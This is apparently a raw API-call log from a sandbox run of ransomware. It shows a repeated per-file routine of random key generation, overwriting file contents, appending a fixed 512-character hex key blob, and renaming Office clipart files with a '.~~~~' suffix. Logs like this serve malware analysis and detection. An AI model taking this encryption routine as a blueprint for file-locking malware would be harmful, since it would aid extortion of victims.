	[0111.087] GetLastError () returned 0x0
	[0111.087] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.088] GetLastError () returned 0x0
	[0111.088] GetLastError () returned 0x0
	[0111.091] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff3d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.091] WriteFile (in: hFile=0x140, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0xc28, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0xc28, lpOverlapped=0x0) returned 1
	[0111.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.093] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.093] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.093] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.093] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.093] CloseHandle (hObject=0x140) returned 1
	[0111.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c7428
	[0111.094] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.~~~~")) returned 1
	[0111.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c7428 | out: hHeap=0x300000) returned 1
	[0111.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.095] GetLastError () returned 0x0
	[0111.147] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.148] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.148] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.149] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23113878522) returned 1
	[0111.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabdc5e10, dwHighDateTime=0x1d60e1e)) 
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f610
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f610 | out: hHeap=0x300000) returned 1
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282df70
	[0111.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.150] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.150] GetLastError () returned 0x0
	[0111.150] GetLastError () returned 0x0
	[0111.150] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.150] GetLastError () returned 0x0
	[0111.150] GetLastError () returned 0x0
	[0111.188] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff290, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.189] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xd70, lpOverlapped=0x0) returned 1
	[0111.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.190] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.190] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.190] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.190] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.190] CloseHandle (hObject=0x144) returned 1
	[0111.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.~~~~")) returned 1
	[0111.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.192] GetLastError () returned 0x0
	[0111.192] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.194] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.194] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.194] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23118436957) returned 1
	[0111.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabe38230, dwHighDateTime=0x1d60e1e)) 
	[0111.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f6b8
	[0111.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f6b8 | out: hHeap=0x300000) returned 1
	[0111.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e560
	[0111.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.195] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.195] GetLastError () returned 0x0
	[0111.196] GetLastError () returned 0x0
	[0111.196] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.196] GetLastError () returned 0x0
	[0111.196] GetLastError () returned 0x0
	[0111.261] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe9ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.269] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1652, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1652, lpOverlapped=0x0) returned 1
	[0111.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.294] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.294] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.295] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.295] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.295] CloseHandle (hObject=0x144) returned 1
	[0111.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.~~~~")) returned 1
	[0111.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.296] GetLastError () returned 0x0
	[0111.296] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.298] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.298] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.298] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23128848729) returned 1
	[0111.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabef6910, dwHighDateTime=0x1d60e1e)) 
	[0111.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9b68
	[0111.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9b68 | out: hHeap=0x300000) returned 1
	[0111.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e988
	[0111.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.300] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.300] GetLastError () returned 0x0
	[0111.300] GetLastError () returned 0x0
	[0111.300] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.300] GetLastError () returned 0x0
	[0111.301] GetLastError () returned 0x0
	[0111.304] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff9ec0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.304] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6140, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x6140, lpOverlapped=0x0) returned 1
	[0111.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.305] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.306] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.306] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.306] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.306] CloseHandle (hObject=0x144) returned 1
	[0111.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.306] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.~~~~")) returned 1
	[0111.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.307] GetLastError () returned 0x0
	[0111.308] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.309] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.309] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.310] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23129985841) returned 1
	[0111.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabf1ca70, dwHighDateTime=0x1d60e1e)) 
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f7d0
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0111.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f7d0 | out: hHeap=0x300000) returned 1
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0111.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cdd8
	[0111.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.311] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.311] GetLastError () returned 0x0
	[0111.311] GetLastError () returned 0x0
	[0111.311] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.311] GetLastError () returned 0x0
	[0111.311] GetLastError () returned 0x0
	[0111.315] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.315] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x411a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x411a, lpOverlapped=0x0) returned 1
	[0111.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.316] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.316] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.316] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.316] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.316] CloseHandle (hObject=0x144) returned 1
	[0111.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c7e00
	[0111.317] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.~~~~")) returned 1
	[0111.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c7e00 | out: hHeap=0x300000) returned 1
	[0111.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.318] GetLastError () returned 0x0
	[0111.319] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.321] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.321] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.321] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23131124431) returned 1
	[0111.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabf42bd0, dwHighDateTime=0x1d60e1e)) 
	[0111.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f808
	[0111.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f808 | out: hHeap=0x300000) returned 1
	[0111.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b06a8
